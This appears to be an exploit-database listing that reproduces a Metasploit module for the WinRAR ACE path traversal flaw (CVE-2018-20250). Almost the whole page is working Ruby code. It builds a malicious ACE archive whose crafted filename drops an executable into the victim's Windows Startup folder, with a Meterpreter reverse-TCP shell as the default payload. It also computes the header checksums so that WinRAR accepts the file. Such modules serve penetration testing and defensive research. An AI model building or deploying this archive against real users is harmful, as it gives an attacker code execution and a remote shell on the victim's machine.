RARLAB WinRAR ACE Format Input Validation Remote Code Execution

2019.04.24
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # # TODO: add other non-payload files class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'RARLAB WinRAR ACE Format Input Validation Remote Code Execution', 'Description' => %q{ In WinRAR versions prior to and including 5.61, there is path traversal vulnerability when crafting the filename field of the ACE format (in UNACEV2.dll). When the filename field is manipulated with specific patterns, the destination (extraction) folder is ignored, thus treating the filename as an absolute path. This module will attempt to extract a payload to the startup folder of the current user. It is limited such that we can only go back one folder. Therefore, for this exploit to work properly, the user must extract the supplied RAR file from one folder within the user profile folder (e.g. Desktop or Downloads). User restart is required to gain a shell. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nadav Grossman', # exploit discovery 'Imran E. Dawoodjee <imrandawoodjee.infosec@gmail.com>' # Metasploit module ], 'References' => [ ['CVE', '2018-20250'], ['EDB', '46552'], ['BID', '106948'], ['URL', 'https://research.checkpoint.com/extracting-code-execution-from-winrar/'], ['URL', 'https://apidoc.roe.ch/acefile/latest/'], ['URL', 'http://www.hugi.scene.org/online/coding/hugi%2012%20-%20coace.htm'], ], 'Platform' => 'win', 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'RARLAB WinRAR <= 5.61', {} ] ], 'DisclosureDate' => 'Feb 05 2019', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ace']), OptString.new('CUSTFILE', [ false, 'User-defined custom payload', '']), OptString.new('FILE_LIST', [false, 'List of other non-payload files to add', '']) ]) end def exploit ace_header = "" # All hex values are already in little endian. # HEAD_CRC: Lower 2 bytes of CRC32 of 49 bytes of header after HEAD_TYPE. # The bogus value for HEAD_CRC will be replaced later. ace_header << "AA" # HEAD_SIZE: header size. \x31\x00 says 49. ace_header << "\x31\x00" # HEAD_TYPE: header type. Archive header is 0. ace_header << "\x00" # HEAD_FLAGS: header flags ace_header << "\x00\x90" # ACE magic ace_header << "\x2A\x2A\x41\x43\x45\x2A\x2A" # VER_EXTRACT: version needed to extract archive ace_header << "\x14" # VER_CREATED: version used to create archive ace_header << "\x14" # HOST_CREATED: host OS for ACE used to create archive ace_header << "\x02" # VOLUME_NUM: which volume of a multi-volume archive? ace_header << "\x00" # TIME_CREATED: date and time in MS-DOS format ace_header << "\x10\x18\x56\x4E" # RESERVED1 ace_header << "\x97\x4F\xF6\xAA\x00\x00\x00\x00" # AV_SIZE: advert size ace_header << "\x16" # AV: advert which shows if registered/unregistered. # Full advert says "*UNREGISTERED VERSION*" ace_header << "\x2A\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52\x53\x49\x4F\x4E\x2A" # calculate the CRC32 of ACE header, and get the lower 2 bytes ace_header_crc32 = crc32(ace_header[4, ace_header.length]).to_s(16) ace_header_crc16 = ace_header_crc32.last(4).to_i(base=16) ace_header[0,2] = [ace_header_crc16].pack("v") # start putting the ACE file together ace_file = "" ace_file << ace_header # create headers and append file data after header unless datastore["FILE_LIST"].empty? print_status("Using the provided list of files @ #{datastore["FILE_LIST"]}...") File.binread(datastore["FILE_LIST"]).each_line do |file| file = file.chomp file_header_and_data = create_file_header_and_data(file, false, false) ace_file << file_header_and_data end end # autogenerated payload if datastore["CUSTFILE"].empty? payload_filename = "" # 72 characters payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" # 6 characters payload_filename << rand_text_alpha(6) # 4 characters payload_filename << ".exe" payload_file_header = create_file_header_and_data(payload_filename, true, false) # user-defined payload else print_status("Using a custom payload: #{::File.basename(datastore["CUSTFILE"])}") payload_filename = "" # 72 characters payload_filename << "C:\\C:C:../AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" # n characters payload_filename << ::File.basename(datastore["CUSTFILE"]) payload_file_header = create_file_header_and_data(payload_filename, true, true) end vprint_status("Payload filename: #{payload_filename.from(72)}") # append payload file header and the payload itself into the rest of the data ace_file << payload_file_header # create the file file_create(ace_file) end # The CRC implementation used in ACE does not take the last step in calculating CRC32. # That is, it does not flip the bits. Therefore, it can be easily calculated by taking # the negative bitwise OR of the usual CRC and then subtracting one from it. This is due to # the way the bitwise OR works in Ruby: unsigned integers are not a thing in Ruby, so # applying a bitwise OR on an integer will produce its negative + 1. def crc32(data) table = Zlib.crc_table crc = 0xffffffff data.unpack('C*').each { |b| crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) } -(~crc) - 1 end # create file headers for each file to put into the output ACE file def create_file_header_and_data(path, is_payload, is_custom_payload) #print_status("Length of #{path}: #{path.length}") if is_payload and is_custom_payload file_data = File.binread(path.from(72)) elsif is_payload and !is_custom_payload file_data = generate_payload_exe else file_data = File.binread(File.basename(path)) end file_data_crc32 = crc32(file_data).to_i # HEAD_CRC: Lower 2 bytes of CRC32 of the next bytes of header after HEAD_TYPE. # The bogus value for HEAD_CRC will be replaced later. file_header = "" file_header << "AA" # HEAD_SIZE: file header size. if is_payload file_header << [31 + path.length].pack("v") else file_header << [31 + ::File.basename(path).length].pack("v") end # HEAD_TYPE: header type is 1. file_header << "\x01" # HEAD_FLAGS: header flags. \x01\x80 is ADDSIZE|SOLID. file_header << "\x01\x80" # PACK_SIZE: size when packed. file_header << [file_data.length].pack("V") #print_status("#{file_data.length}") # ORIG_SIZE: original size. Same as PACK_SIZE since no compression is *truly* taking place. file_header << [file_data.length].pack("V") # FTIME: file date and time in MS-DOS format file_header << "\x63\xB0\x55\x4E" # ATTR: DOS/Windows file attribute bit field, as int, as produced by the Windows GetFileAttributes() API. file_header << "\x20\x00\x00\x00" # CRC32: CRC32 of the compressed file file_header << [file_data_crc32].pack("V") # Compression type file_header << "\x00" # Compression quality file_header << "\x03" # Parameter for decompression file_header << "\x0A\x00" # RESERVED1 file_header << "\x54\x45" # FNAME_SIZE: size of filename string if is_payload file_header << [path.length].pack("v") else # print_status("#{::File.basename(path).length}") file_header << [::File.basename(path).length].pack("v") end #file_header << [path.length].pack("v") # FNAME: filename string. Empty for now. Fill in later. if is_payload file_header << path else file_header << ::File.basename(path) end #print_status("Calculating other_file_header...") file_header_crc32 = crc32(file_header[4, file_header.length]).to_s(16) file_header_crc16 = file_header_crc32.last(4).to_i(base=16) file_header[0,2] = [file_header_crc16].pack("v") file_header << file_data end end


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